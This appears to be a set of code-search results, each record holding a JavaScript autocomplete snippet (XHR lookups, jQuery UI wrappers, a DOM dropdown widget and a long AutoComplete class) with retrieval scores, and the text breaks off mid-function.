"docid": "3c76c9923a9e6d090e0ece0ac6209a3c", "score": "0.6438373", "text": "autoComplete(queryString, callback) {\n var xhttp = new XMLHttpRequest();\n xhttp.onreadystatechange = function() {\n if(xhttp.readyState == 4 && xhttp.status == 200 && xhttp.responseText) {\n // Assume this always sends back valid JSON.\n var results;\n try {\n results = JSON.parse(this.responseText);\n } catch (e) {\n results = [];\n }\n callback(results);\n }\n };\n xhttp.open(\"GET\", `/autocomplete?query=${queryString}`, true);\n xhttp.send();\n }", "title": "" }, { "docid": "325c044f630c46d8973f90c57cf1a455", "score": "0.6427303", "text": "function autocomplete(inp, arr) {\n /*the autocomplete function takes two arguments,\n the text field element and an array of possible autocompleted values:*/\n var currentFocus;\n /*execute a function when someone writes in the text field:*/\n inp.addEventListener(\"input\", function(e) {\n var a, b, i, val = this.value;\n /*close any already open lists of autocompleted values*/\n closeAllLists();\n if (!val) { return false;}\n currentFocus = -1;\n /*create a DIV element that will contain the items (values):*/\n a = document.createElement(\"DIV\");\n a.setAttribute(\"id\", this.id + \"autocomplete-list\");\n a.setAttribute(\"class\", \"autocomplete-items\");\n /*append the DIV element as a child of the autocomplete container:*/\n this.parentNode.appendChild(a);\n /*for each item in the array...*/\n for (i = 0; i < arr.length; i++) {\n /*check if the item starts with the same letters as the text field value:*/\n if (arr[i].substr(0, val.length).toUpperCase() == val.toUpperCase()) {\n /*create a DIV element for each matching element:*/\n b = document.createElement(\"DIV\");\n /*make the matching letters bold:*/\n b.innerHTML = \"<strong>\" + arr[i].substr(0, val.length) + \"</strong>\";\n b.innerHTML += arr[i].substr(val.length);\n /*insert a input field that will hold the current array item's value:*/\n b.innerHTML += \"<input type='hidden' value='\" + arr[i] + \"'>\";\n /*execute a function when someone clicks on the item value (DIV element):*/\n b.addEventListener(\"click\", function(e) {\n /*insert the value for the autocomplete text field:*/\n inp.value = this.getElementsByTagName(\"input\")[0].value;\n /*close the list of autocompleted values,\n (or any other open lists of autocompleted values:*/\n closeAllLists();\n });\n a.appendChild(b);\n }\n }\n });\n /*execute a function presses a key on the keyboard:*/\n inp.addEventListener(\"keydown\", function(e) {\n var x = document.getElementById(this.id + \"autocomplete-list\");\n if (x) x = x.getElementsByTagName(\"div\");\n if (e.keyCode == 40) {\n /*If the arrow DOWN key is pressed,\n increase the currentFocus variable:*/\n currentFocus++;\n /*and and make the current item more visible:*/\n addActive(x);\n } else if (e.keyCode == 38) { //up\n /*If the arrow UP key is pressed,\n decrease the currentFocus variable:*/\n currentFocus--;\n /*and and make the current item more visible:*/\n addActive(x);\n } else if (e.keyCode == 13) {\n /*If the ENTER key is pressed, prevent the form from being submitted,*/\n e.preventDefault();\n if (currentFocus > -1) {\n /*and simulate a click on the \"active\" item:*/\n if (x) x[currentFocus].click();\n }\n }\n });\n function addActive(x) {\n /*a function to classify an item as \"active\":*/\n if (!x) return false;\n /*start by removing the \"active\" class on all items:*/\n removeActive(x);\n if (currentFocus >= x.length) currentFocus = 0;\n if (currentFocus < 0) currentFocus = (x.length - 1);\n /*add class \"autocomplete-active\":*/\n x[currentFocus].classList.add(\"autocomplete-active\");\n }\n function removeActive(x) {\n /*a function to remove the \"active\" class from all autocomplete items:*/\n for (var i = 0; i < x.length; i++) {\n x[i].classList.remove(\"autocomplete-active\");\n }\n }\n function closeAllLists(elmnt) {\n /*close all autocomplete lists in the document,\n except the one passed as an argument:*/\n var x = document.getElementsByClassName(\"autocomplete-items\");\n for (var i = 0; i < x.length; i++) {\n if (elmnt != x[i] && elmnt != inp) {\n x[i].parentNode.removeChild(x[i]);\n }\n }\n }\n /*execute a function when someone clicks in the document:*/\n document.addEventListener(\"click\", function (e) {\n closeAllLists(e.target);\n });\n}", "title": "" }, { "docid": "7a72c66725a12cc3f1ec275841cbcd59", "score": "0.6427303", "text": "function autocomplete(inp, arr) {\n /*the autocomplete function takes two arguments,\n the text field element and an array of possible autocompleted values:*/\n var currentFocus;\n /*execute a function when someone writes in the text field:*/\n inp.addEventListener(\"input\", function(e) {\n var a, b, i, val = this.value;\n /*close any already open lists of autocompleted values*/\n closeAllLists();\n if (!val) { return false;}\n currentFocus = -1;\n /*create a DIV element that will contain the items (values):*/\n a = document.createElement(\"DIV\");\n a.setAttribute(\"id\", this.id + \"autocomplete-list\");\n a.setAttribute(\"class\", \"autocomplete-items\");\n /*append the DIV element as a child of the autocomplete container:*/\n this.parentNode.appendChild(a);\n /*for each item in the array...*/\n for (i = 0; i < arr.length; i++) {\n /*check if the item starts with the same letters as the text field value:*/\n if (arr[i].substr(0, val.length).toUpperCase() == val.toUpperCase()) {\n /*create a DIV element for each matching element:*/\n b = document.createElement(\"DIV\");\n /*make the matching letters bold:*/\n b.innerHTML = \"<strong>\" + arr[i].substr(0, val.length) + \"</strong>\";\n b.innerHTML += arr[i].substr(val.length);\n /*insert a input field that will hold the current array item's value:*/\n b.innerHTML += \"<input type='hidden' value='\" + arr[i] + \"'>\";\n /*execute a function when someone clicks on the item value (DIV element):*/\n b.addEventListener(\"click\", function(e) {\n /*insert the value for the autocomplete text field:*/\n inp.value = this.getElementsByTagName(\"input\")[0].value;\n /*close the list of autocompleted values,\n (or any other open lists of autocompleted values:*/\n closeAllLists();\n });\n a.appendChild(b);\n }\n }\n });\n /*execute a function presses a key on the keyboard:*/\n inp.addEventListener(\"keydown\", function(e) {\n var x = document.getElementById(this.id + \"autocomplete-list\");\n if (x) x = x.getElementsByTagName(\"div\");\n if (e.keyCode == 40) {\n /*If the arrow DOWN key is pressed,\n increase the currentFocus variable:*/\n currentFocus++;\n /*and and make the current item more visible:*/\n addActive(x);\n } else if (e.keyCode == 38) { //up\n /*If the arrow UP key is pressed,\n decrease the currentFocus variable:*/\n currentFocus--;\n /*and and make the current item more visible:*/\n addActive(x);\n } else if (e.keyCode == 13) {\n /*If the ENTER key is pressed, prevent the form from being submitted,*/\n e.preventDefault();\n if (currentFocus > -1) {\n /*and simulate a click on the \"active\" item:*/\n if (x) x[currentFocus].click();\n }\n }\n });\n function addActive(x) {\n /*a function to classify an item as \"active\":*/\n if (!x) return false;\n /*start by removing the \"active\" class on all items:*/\n removeActive(x);\n if (currentFocus >= x.length) currentFocus = 0;\n if (currentFocus < 0) currentFocus = (x.length - 1);\n /*add class \"autocomplete-active\":*/\n x[currentFocus].classList.add(\"autocomplete-active\");\n }\n function removeActive(x) {\n /*a function to remove the \"active\" class from all autocomplete items:*/\n for (var i = 0; i < x.length; i++) {\n x[i].classList.remove(\"autocomplete-active\");\n }\n }\n function closeAllLists(elmnt) {\n /*close all autocomplete lists in the document,\n except the one passed as an argument:*/\n var x = document.getElementsByClassName(\"autocomplete-items\");\n for (var i = 0; i < x.length; i++) {\n if (elmnt != x[i] && elmnt != inp) {\n x[i].parentNode.removeChild(x[i]);\n }\n }\n }\n /*execute a function when someone clicks in the document:*/\n document.addEventListener(\"click\", function (e) {\n closeAllLists(e.target);\n });\n }", "title": "" }, { "docid": "ac081fa8391aee9c41e680739cc3755d", "score": "0.64160144", "text": "function initialiseAutoComplete() {\n new google.maps.places.Autocomplete(document.getElementById(\"from\"));\n new google.maps.places.Autocomplete(document.getElementById(\"to\"));\n}", "title": "" }, { "docid": "3b249c080d521c0170d4246f7f753f96", "score": "0.6408404", "text": "function autocomplete(dataset) {\n\t//populate array with non repeating names\n\tnames = d3.map(dataset, function (d) {\n\t\treturn d.name;\n\t}).keys();\n\n\t//use the autocomplete library on the name field\n\t//https://xdsoft.net/jqplugins/autocomplete/\n\t$(function () {\n\t\t$(\"#nameField\").autocomplete({\n\t\t\tsource: [names]\n\t\t});\n\n\t\t//adding additional keypress for 'enter' btn\n\t\t$(\"#nameField\").keyup(function (event) {\n\t\t\tif (event.keyCode === 13) {\n\t\t\t\t$(\"#search\").click();\n\t\t\t}\n\t\t});\n\t});\n}", "title": "" }, { "docid": "6e15ff0d2518d11722ae4ec30f623bb0", "score": "0.6404337", "text": "function lookup(inputString) {\r\n\t\tif(inputString.length == 0) {\r\n\t\t\t// Hide the suggestion box.\r\n\t\t\t$('#suggestions').hide();\r\n\t\t} else {\r\n\t\t\t//$.post(\"../clases/auto/comboauto2.php\", {queryString: \"\"+inputString+\"\"}, function(data){\r\n\t\t\t$.post(\"../clases/auto/comboauto.php\", {queryString: \"\"+inputString+\"\"}, function(data){\r\n\t\t\t\tif(data.length >0) {\r\n\t\t\t\t\t$('#suggestions').show();\r\n\t\t\t\t\t$('#autoSuggestionsList').html(data);\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t}\r\n\t\r\n\t} // lookup\t", "title": "" }, { "docid": "51e13f131d0171ce1bde37ed715709ce", "score": "0.64014643", "text": "function autoCompleteSource(sourceChoose){\n var selectedValue;\n inputDiv.autocomplete({\n source: sourceChoose,\n select: function(event,ui) {\n selectedValue = ui.item.value;\n searchAll(selectedValue);\n }\n });\n}", "title": "" }, { "docid": "c22994809499116998f6372de8f77d2b", "score": "0.6400569", "text": "function getAutoTerms(request, response) {\n // delegate back to autocomplete, but extract the last term\n var term = $.trim(request.term);\n if (term) {\n term = extractLast(request.term)\n term = removeLeadingIllegal(term);\n }\n $.ajax({\n url: getTermQuery(term),\n dataType: \"json\",\n cache: true,\n success: function (data) {\n var dataList = processAutoCompleteTerms(term, data);\n dataList.splice(_MDI.MAX_AUTOCOMPLETE_LIST);\n return response(dataList);\n }\n });\n}", "title": "" }, { "docid": "3e2d32c943c630a36054ea126b3416de", "score": "0.6393651", "text": "autocomplete(event) {\n const { term } = this.highlightedResult()\n if (term && term !== this.props.term) {\n this.props.actions.updateTerm(term)\n event.preventDefault()\n }\n }", "title": "" }, { "docid": "eca62c60819273b6df9c4e9d7dbe12f1", "score": "0.6369511", "text": "function autocomplete_placas() {\n\t$('#placa').autocomplete({\n autoFocus:true,\n source: 'controller/puente.php?option=4',\n select: function( event, ui ){\n $('#placa_h').val(ui.item.id);\n },\n delay:300\n });\n\treturn false;\n}", "title": "" }, { "docid": "637cdf09fd41d5c5dd6c402da1186761", "score": "0.6369075", "text": "function initAutocomplete(){\n $('.taxonomy-term').each(function(){\n taxonomy_term_list.push($(this).html());\n taxonomy_term_ids.push($(this).attr('data-tid'));\n });\n jccAutocomplete(document.getElementById(\"tag-selector\"), taxonomy_term_list, taxonomy_term_ids);\n }", "title": "" }, { "docid": "952c0f7f1d28333f06937744dd102e44", "score": "0.6361036", "text": "function autocomplete(query, process) {\n $.getJSON( \"/api/users/autocomplete/\" + query, function(data) {\n var suggestions = [];\n $.each(data, function(key, val) {\n if(key == \"suggestions\") {\n for (var i = 0; i < val.length; i++) {\n suggestions.push(val[i]);\n };\n }\n });\n process(suggestions);\n });\n}", "title": "" }, { "docid": "dd49878a85d6f8d8b0d8863af473033f", "score": "0.6360668", "text": "function AutoComplete(input, listFunc, completeFunc) {\n\n// Public Members //\n\nthis.maxListElems =\t\t// # elements autocomplete can show (-1: no limit)\n AutoComplete.MAX_LIST_ELEMS;\nthis.charThreshold = \t\t// Show only after this # chars typed\n AutoComplete.DEFAULT_CHAR_THRESHOLD;\n\nthis.timeout = -1;\t\t// Ain ms (-1: never time out)\nthis.keywordList = [];\t\t// List of keywords to be used for autocompletion\nthis.pastKeywordLists = {};\t// Hash of cached lists, keyed by user input strings\nthis.firstTextOnly = true;\t// Should limit to beginning of keyword?\nthis.mouseEnabled = true;\t// Enable Mouse Support\nthis.delimiters = '';\t\t// Delimiter for multiple autocomplete. Set it to empty string for single autocomplete.\n\nthis.getKeywordList = null;\t// Function that returns list of keywords\nthis.completionHandler = null;\n\n// Private Members //\n\nvar _delimWords = [];\nvar _currDelimWord = 0;\nvar _delimChar = [];\nvar _display = false;\nvar _pos = 0;\nvar _total = 0;\nvar _curr = null;\nvar _rangeUp = 0;\nvar _rangeDown = 0;\nvar _doesMatch = [];\nvar _pre = 0;\nvar _timeoutId;\nvar _toMake = false;\nvar _getPre = \"\";\nvar _mouseOnList = 0;\nvar _keywordCount = 0;\nvar _caretMove = false;\nvar _mimicDropDown = false;\nvar _suspended = false;\n\n// Main //\n\nvar _self = this;\n\nthis.getKeywordList = listFunc;\nthis.completionHandler = completeFunc;\n\n_curr = $(input).get(0);\n$(_curr).bind('focus', _setup);\n$(_curr).bind('blur', _clear);\n\n// Private Methods //\n\nfunction _setup(){\n\t$(document).bind('keydown', _checkKey);\n\t$(_curr).bind('blur', _clear);\n\t$(_curr).bind('blur', _rewriteExactMatch);\n\t$(document).bind('keypress', _keypress);\n}\n\nfunction _clear(){\n\t$(document).unbind('keydown', _checkKey);\n\t$(_curr).unbind('blur', _rewriteExactMatch);\n\t$(_curr).unbind('blur', _clear);\n\t$(document).unbind('keypress', _keypress);\n\t_removeDisplay();\n}\n\nfunction _parse( keyword ){\n\tvar re, escQuery, escQueryLen;\n\tif (_self.delimiters.length > 0){\n\t\tescQuery = $.trim(_addSlashes(_delimWords[_currDelimWord]));\n\t\tescQueryLen = $.trim(_delimWords[_currDelimWord]).length;\n\t} else {\n\t\tescQuery = _addSlashes(_curr.value);\n\t\tescQueryLen = _curr.value.length;\n\t}\n\n\tif (_self.firstTextOnly){\n\t\tre = new RegExp(\"^\" + escQuery, \"i\");\n\t} else {\n\t\tre = new RegExp(escQuery, \"i\");\n\t}\n\n\tvar toBuild = '';\n\tvar pos = keyword.search(re);\n\n\tif( pos < 0 ) {\n\t\ttoBuild += keyword;\n\t} else {\n\t\tfor (var i=0; i < pos; i++){\n\t\t\ttoBuild += keyword.substr(i,1);\n\t\t}\n\t\tif(_self._highlightStyle) {\n\t\t\ttoBuild += '<strong class=\"autocomplete-match\" style=\"' + _self._highlightStyle + '\">';\n\t\t} else {\n\t\t\ttoBuild += '<strong class=\"autocomplete-match\">';\n\t\t}\n\t\tfor (var i=pos; i < escQueryLen+pos; i++){\n\t\t\ttoBuild += keyword.substr(i,1);\n\t\t}\n\t\ttoBuild += \"</strong>\";\n\t\tfor (var i=escQueryLen+pos; i < keyword.length; i++){\n\t\t\ttoBuild += keyword.substr(i,1);\n\t\t}\n\t}\n\n\treturn toBuild;\n}\n\nfunction _generate(){\n\tvar acTable = document.getElementById('autocomplete');\n\tif (acTable){\n\t\t_display = false;\n\t\tacTable.parentNode.removeChild(acTable);\n\t}\n\tif (_keywordCount == 0){\n\t\t_display = false;\n\t\treturn;\n\t}\n\tvar table = document.createElement('table');\n\ttable.id = 'autocomplete';\n\ttable.cellSpacing='0px';\n\ttable.cellPadding='0px';\n\ttable.style.position='absolute';\n\ttable.style.top = parseInt(AutoComplete.currTop(_curr) + _curr.offsetHeight) + \"px\";\n\ttable.style.left = AutoComplete.currLeft(_curr) + \"px\";\n\tif(_self._bgColor) {\n\t\ttable.style.backgroundColor = _self._bgColor;\n\t}\n\tdocument.body.appendChild(table);\n\n\tvar first = true;\n\tvar j = 1;\n\tvar row, cell, counter = 0;\n\tif (_self.mouseEnabled){\n\t\t$(table).mouseout(_tableBlur);\n\t\t$(table).mouseover(_tableFocus);\n\t}\n\tfor (var i=0; i < _self.keywordList.length && counter < _self.maxListElems; i++){\n\t\tif (_doesMatch[i]){\n\t\t\tcounter++;\n\t\t\trow = table.insertRow(-1);\n\t\t\tif (first && !_toMake){\n\t\t\t\tif( _self._highlightColor ) {\n\t\t\t\t\trow.style.backgroundColor = _self._highlightColor;\n\t\t\t\t}\n\t\t\t\t$(row).addClass('autocomplete-highlight');\n\t\t\t\tfirst = false;\n\t\t\t\t_pos = counter;\n\t\t\t}else if(_pre == i){\n\t\t\t\tif( _self._highlightColor ) {\n\t\t\t\t\trow.style.backgroundColor = _self._highlightColor;\n\t\t\t\t}\n\t\t\t\t$(row).addClass('autocomplete-highlight');\n\t\t\t\tfirst = false;\n\t\t\t\t_pos = counter;\n\t\t\t} else {\n\t\t\t\tif( _self._bgColor ) {\n\t\t\t\t\trow.style.backgroundColor = _self._bgColor;\n\t\t\t\t}\n\t\t\t\t$(row).removeClass('autocomplete-highlight');\n\t\t\t}\n\t\t\trow.id = 'autocomplete_tr' + j;\n\t\t\tcell = row.insertCell(-1);\n\t\t\tcell.innerHTML = _parse(_self.keywordList[i]);\n\t\t\tcell.id = 'autocomplete_td' + j;\n\t\t\tcell.setAttribute('pos', j);\n\t\t\tif (_self.mouseEnabled){\n\t\t\t\tcell.style.cursor = 'pointer';\n\t\t\t\t$(cell).mouseover(_tableHighlight);\n\t\t\t\t$(cell).click(_mouseClick);\n\n\n\t\t\t\t// We need to set a flag to signal to the blur handler for the text input\n\t\t\t\t// that the mouse-click handler code should execute before the\n\t\t\t\t// the blur handler.\n\n\t\t\t\t// For clarity, the setting and unsetting of the flag would be\n\t\t\t\t// specified here. However, because there is not symmetry with the\n\t\t\t\t// MSIE setting/unsetting -- i.e. flag set on mouseover but cannot\n\t\t\t\t// be unset on mouseout because the mouseout event does not fire\n\t\t\t\t// in the right order -- the flag unsetting for IE must happen\n\t\t\t\t// in _enterCompletion().\n\n\t\t\t\tif( !$.browser.msie ) {\n\t\t\t\t\t$(cell).mousedown(function() {\n\t\t\t\t\t\t$(_curr).data('acMouseClicked', true);\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t});\n\t\t\t\t\t/*\n\t\t\t\t\t$(cell).mouseup(function() {\n\t\t\t\t\t\t$(_curr).removeData('acMouseClicked');\n\t\t\t\t\t});\n\t\t\t\t\t*/\n\t\t\t\t} else {\n\t\t\t\t\t$(cell).mouseover(function(){\n\t\t\t\t\t\t$(_curr).data('acMouseClicked', true);\n\t\t\t\t\t});\n\t\t\t\t\t$(cell).mouseup(function(e){\n\t\t\t\t\t\t$(this).click();\n\t\t\t\t\t\t$(_curr).removeData('acMouseClicked').blur();\n\t\t\t\t\t\t//$(_curr).blur();\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}\n\t\t\tj++;\n\t\t}\n\t}\n\t_rangeUp = 1;\n\t_rangeDown = j-1;\n\t_display = true;\n\tif (_pos <= 0) {\n\t\t_pos = 1;\n\t}\n\n\tif($.browser.msie && $.browser.version == 6) {\n\t\t_hideSelects();\n\t}\n}\n\nfunction _regenerate(){\n\tvar acTable = document.getElementById('autocomplete');\n\tif( acTable ) {\n\t\tacTable.parentNode.removeChild(acTable);\n\t}\n\tvar table = document.createElement('table');\n\ttable.cellSpacing='0px';\n\ttable.cellPadding='0px';\n\ttable.style.position='absolute';\n\ttable.style.top = parseInt(AutoComplete.currTop(_curr) + _curr.offsetHeight) + \"px\";\n\ttable.style.left = AutoComplete.currLeft(_curr) + \"px\";\n\tif( _self._bgColor ) {\n\t\ttable.style.backgroundColor = _self._bgColor;\n\t}\n\ttable.id = 'autocomplete';\n\tif (_self.mouseEnabled){\n\t\t$(table).mouseout(_tableBlur);\n\t\t$(table).mouseover(_tableFocus);\n\t}\n\tdocument.body.appendChild(table);\n\n\tvar first = true;\n\tvar j = 1;\n\tvar row, cell;\n\tif (_rangeUp > 1){\n\t\trow = table.insertRow(-1);\n\t\tif( _self._bgColor ) {\n\t\t\trow.style.backgroundColor = _self._bgColor;\n\t\t}\n\t\tcell = row.insertCell(-1);\n\t\tcell.className = 'autocomplete-nav';\n\t\t$(cell).html('[up]');\n\t\tif (_self.mouseEnabled){\n\t\t\tcell.style.cursor = 'pointer';\n\t\t\t$(cell).click(_mouseUp);\n\t\t}\n\t}\n\tfor (var i=0; i < _self.keywordList.length; i++){\n\t\tif (_doesMatch[i]){\n\t\t\tif (j >= _rangeUp && j <= _rangeDown){\n\t\t\t\trow = table.insertRow(-1);\n\t\t\t\tif( _self._bgColor ) {\n\t\t\t\t\trow.style.backgroundColor = _self._bgColor;\n\t\t\t\t}\n\t\t\t\trow.id = 'autocomplete_tr'+(j);\n\t\t\t\tcell = row.insertCell(-1);\n\t\t\t\tcell.innerHTML = _parse(_self.keywordList[i]);\n\t\t\t\tcell.id = 'autocomplete_td'+(j);\n\t\t\t\tcell.setAttribute('pos',j);\n\t\t\t\tif (_self.mouseEnabled){\n\t\t\t\t\tcell.style.cursor = 'pointer';\n\t\t\t\t\t$(cell).mouseover(_tableHighlight);\n\t\t\t\t\t$(cell).click(_mouseClick);\n\n\t\t\t\t\t// We need to set a flag to signal to the blur handler for the text input\n\t\t\t\t\t// that the mouse-click handler code should execute before the\n\t\t\t\t\t// the blur handler.\n\n\t\t\t\t\t// For clarity, the setting and unsetting of the flag would be\n\t\t\t\t\t// specified here. However, because there is not symmetry with the\n\t\t\t\t\t// MSIE setting/unsetting -- i.e. flag set on mouseover but cannot\n\t\t\t\t\t// be unset on mouseout because the mouseout event does not fire\n\t\t\t\t\t// in the right order -- the flag unsetting for IE must happen\n\t\t\t\t\t// in _enterCompletion().\n\n\t\t\t\t\tif( !$.browser.msie ) {\n\t\t\t\t\t\t$(cell).mousedown(function() {\n\t\t\t\t\t\t\t$(_curr).data('acMouseClicked', true);\n\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t});\n\t\t\t\t\t\t/*\n\t\t\t\t\t\t$(cell).mouseup(function() {\n\t\t\t\t\t\t\t$(_curr).removeData('acMouseClicked');\n\t\t\t\t\t\t});\n\t\t\t\t\t\t*/\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$(cell).mouseover(function(){\n\t\t\t\t\t\t\t$(_curr).data('acMouseClicked', true);\n\t\t\t\t\t\t});\n\t\t\t\t\t\t$(cell).mouseup(function(){\n\t\t\t\t\t\t\t$(this).click();\n\t\t\t\t\t\t\t//$(_curr).removeData('acMouseClicked').blur();\n\t\t\t\t\t\t\t$(_curr).blur();\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tj++;\n\t\t\t} else {\n\t\t\t\tj++;\n\t\t\t}\n\t\t}\n\t\tif (j > _rangeDown) break;\n\t}\n\tif (j-1 < _total){\n\t\trow = table.insertRow(-1);\n\t\tif( _self._bgColor ) {\n\t\t\trow.style.backgroundColor = _self._bgColor;\n\t\t}\n\t\tcell = row.insertCell(-1);\n\t\tcell.className = 'autocomplete-nav';\n\t\t$(cell).html('[down]');\n\t\tif (_self.mouseEnabled){\n\t\t\tcell.style.cursor = 'pointer';\n\t\t\t$(cell).click(_mouseDown);\n\t\t}\n\t}\n\n\tif($.browser.msie && $.browser.version == 6) {\n\t\t_hideSelects();\n\t}\n}\n\nfunction _addSlashes(str){\n\treturn str.replace(/([\"\\\\\\.\\|\\[\\]\\^\\*\\+\\?\\$\\(\\)])/g, '\\\\$1');\n}\n\nfunction _goUp(){\n\tif (!_display) {\n\t\treturn;\n\t}\n\tif (_pos == 1) {\n\t\treturn;\n\t}\n\tif(_self._bgColor) {\n\t\tdocument.getElementById('autocomplete_tr'+_pos).style.backgroundColor = _self._bgColor;\n\t}\n\t$('#autocomplete_tr'+_pos).removeClass('autocomplete-highlight');\n\t_pos--;\n\tif (_pos < _rangeUp) {\n\t\t_moveUp();\n\t}\n\tif(_self._highlightColor) {\n\t\tdocument.getElementById('autocomplete_tr'+_pos).style.backgroundColor = _self._highlightColor;\n\t}\n\t$('#autocomplete_tr'+_pos).addClass('autocomplete-highlight');\n\tif (_timeoutId) {\n\t\tclearTimeout(_timeoutId);\n\t}\n\tif (_self.timeout > 0) {\n\t\tvar callback = function(){\n\t\t\t_mouseOnList=0;\n\t\t\t_removeDisplay();\n\t\t};\n\t\t_timeoutId = setTimeout(callback, _self.timeout);\n\t}\n}\n\nfunction _goDown(){\n\tif (!_display) {\n\t\treturn;\n\t}\n\tif (_pos == _total) {\n\t\treturn;\n\t}\n\tif(_self._bgColor) {\n\t\tdocument.getElementById('autocomplete_tr'+_pos).style.backgroundColor = _self._bgColor;\n\t}\n\t$('#autocomplete_tr'+_pos).removeClass('autocomplete-highlight');\n\t_pos++;\n\tif (_pos > _rangeDown) {\n\t\t_moveDown();\n\t}\n\tif(_self._highlightColor) {\n\t\t$('#autocomplete_tr'+_pos).get(0).style.backgroundColor = _self._highlightColor;\n\t}\n\t$('#autocomplete_tr'+_pos).addClass('autocomplete-highlight');\n\tif (_timeoutId) {\n\t\tclearTimeout(_timeoutId);\n\t}\n\tif (_self.timeout > 0) {\n\t\tvar callback = function(){\n\t\t\t_mouseOnList=0;\n\t\t\t_removeDisplay();\n\t\t};\n\t\t_timeoutId = setTimeout(callback, _self.timeout);\n\t}\n}\n\nfunction _moveDown(){\n\t_rangeUp++;\n\t_rangeDown++;\n\t_regenerate();\n}\n\nfunction _moveUp(){\n\t_rangeUp--;\n\t_rangeDown--;\n\t_regenerate();\n}\n\n//mouse support\nfunction _mouseDown(){\n\tif(_self._bgColor) {\n\t\tdocument.getElementById('autocomplete_tr'+_pos).style.backgroundColor = _self._bgColor;\n\t}\n\t$('#autocomplete_tr'+_pos).removeClass('autocomplete-highlight');\n\t_pos++;\n\t_moveDown();\n\tif(_self._highlightColor) {\n\t\tdocument.getElementById('autocomplete_tr'+_pos).style.backgroundColor = _self._highlightColor;\n\t}\n\t$('#autocomplete_tr'+_pos).addClass('autocomplete-highlight');\n\t_curr.focus();\n\t_mouseOnList = 0;\n\tif (_timeoutId) {\n\t\tclearTimeout(_timeoutId);\n\t}\n\tif (_self.timeout > 0) {\n\t\tvar callback = function(){\n\t\t\t_mouseOnList=0;\n\t\t\t_removeDisplay();\n\t\t};\n\t\t_timeoutId = setTimeout(callback,_self.timeout);\n\t}\n}\n\nfunction _mouseUp(evt){\n\tif (!evt) {\n\t\tevt = event;\n\t}\n\tif (evt.stopPropagation){\n\t\tevt.stopPropagation();\n\t} else {\n\t\tevt.cancelBubble = true;\n\t}\n\tif(_self._bgColor) {\n\t\tdocument.getElementById('autocomplete_tr'+_pos).style.backgroundColor = _self._bgColor;\n\t}\n\t$('#autocomplete_tr'+_pos).removeClass('autocomplete-highlight');\n\t_pos--;\n\t_moveUp();\n\tif(_self._highlightColor) {\n\t\tdocument.getElementById('autocomplete_tr'+_pos).style.backgroundColor = _self._highlightColor;\n\t}\n\t$('#autocomplete_tr'+_pos).addClass('autocomplete-highlight');\n\t_curr.focus();\n\t_mouseOnList = 0;\n\tif (_timeoutId) {\n\t\tclearTimeout(_timeoutId);\n\t}\n\tif (_self.timeout > 0) {\n\t\tvar callback = function(){\n\t\t\t_mouseOnList=0;\n\t\t\t_removeDisplay();\n\t\t};\n\t\t_timeoutId = setTimeout(callback, _self.timeout);\n\t}\n}\n\nfunction _mouseClick(evt){\n\tif (!evt) {\n\t\tevt = event;\n\t}\n\tif (!_display) {\n\t\treturn;\n\t}\n\t_mouseOnList = 0;\n\t_pos = this.getAttribute('pos');\n\t_enterCompletion();\n\n\treturn false;\n}\n\nfunction _tableFocus(){\n\t_mouseOnList = 1;\n}\n\nfunction _tableBlur(){\n\t_mouseOnList = 0;\n\tif (_timeoutId) {\n\t\tclearTimeout(_timeoutId);\n\t}\n\tif (_self.timeout > 0) {\n\t\tvar callback = function(){\n\t\t\t_mouseOnList = 0;\n\t\t\t_removeDisplay();\n\t\t};\n\t\t_timeoutId = setTimeout(callback, _self.timeout);\n\t}\n}\n\nfunction _tableHighlight(){\n\t_mouseOnList = 1;\n\tif(_self._bgColor) {\n\t\tdocument.getElementById('autocomplete_tr'+_pos).style.backgroundColor = _self._bgColor;\n\t}\n\t$('#autocomplete_tr'+_pos).removeClass('autocomplete-highlight');\n\t_pos = this.getAttribute('pos');\n\twhile (_pos < _rangeUp) {\n\t\t_moveUp();\n\t}\n\twhile (_pos > _rangeDown) {\n\t\t_moveDown();\n\t}\n\tif(_self._highlightColor) {\n\t\tdocument.getElementById('autocomplete_tr'+_pos).style.backgroundColor = _self._highlightColor;\n\t}\n\t$('#autocomplete_tr'+_pos).addClass('autocomplete-highlight');\n\tif (_timeoutId) {\n\t\tclearTimeout(_timeoutId);\n\t}\n\tif (_self.timeout > 0) {\n\t\tvar callback = function() {\n\t\t\t_mouseOnList = 0;\n\t\t\t_removeDisplay();\n\t\t};\n\t\t_timeoutId = setTimeout(callback, _self.timeout);\n\t}\n}\n\nfunction _insertWord( keyword ){\n\n\tif (_self.delimiters.length > 0){\n\t\tvar str = '';\n\t\tvar strLen = 0;\n\t\tfor (var i=0; i < _delimWords.length; i++){\n\t\t\tif (_currDelimWord == i){\n\t\t\t\tpreSpace = postSpace = '';\n\t\t\t\tgotBreak = false;\n\t\t\t\tfor (var j=0; j < _delimWords[i].length; ++j){\n\t\t\t\t\tif (_delimWords[i].charAt(j) != ' '){\n\t\t\t\t\t\tgotBreak = true;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tpreSpace += ' ';\n\t\t\t\t}\n\t\t\t\tfor (var j=_delimWords[i].length-1; j >= 0; --j){\n\t\t\t\t\tif (_delimWords[i].charAt(j) != ' ') {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tpostSpace += ' ';\n\t\t\t\t}\n\t\t\t\tstr += preSpace;\n\t\t\t\tstr += keyword;\n\t\t\t\tstrLen = str.length;\n\t\t\t\tif (gotBreak) {\n\t\t\t\t\tstr += postSpace;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tstr += _delimWords[i];\n\t\t\t}\n\t\t\tif (i != _delimWords.length - 1){\n\t\t\t\tstr += _delimChar[i];\n\t\t\t}\n\t\t}\n\t\t_curr.value = str;\n\t\tAutoComplete.setCaret(_curr, strLen);\n\t} else {\n\t\t_curr.value = keyword;\n\t}\n\t_mouseOnList = 0;\n\t_removeDisplay();\n}\n\nfunction _enterCompletion( fullMatch ){\n\tif (!_display) {\n\t\treturn;\n\t}\n\t_display = false;\n\tvar word = '';\n\tvar hitCount = 0;\n\tfor (var i=0; i <= _self.keywordList.length; i++){\n\t\tif (_doesMatch[i]) {\n\t\t\thitCount++;\n\t\t}\n\t\tif (hitCount == _pos){\n\t\t\tword = 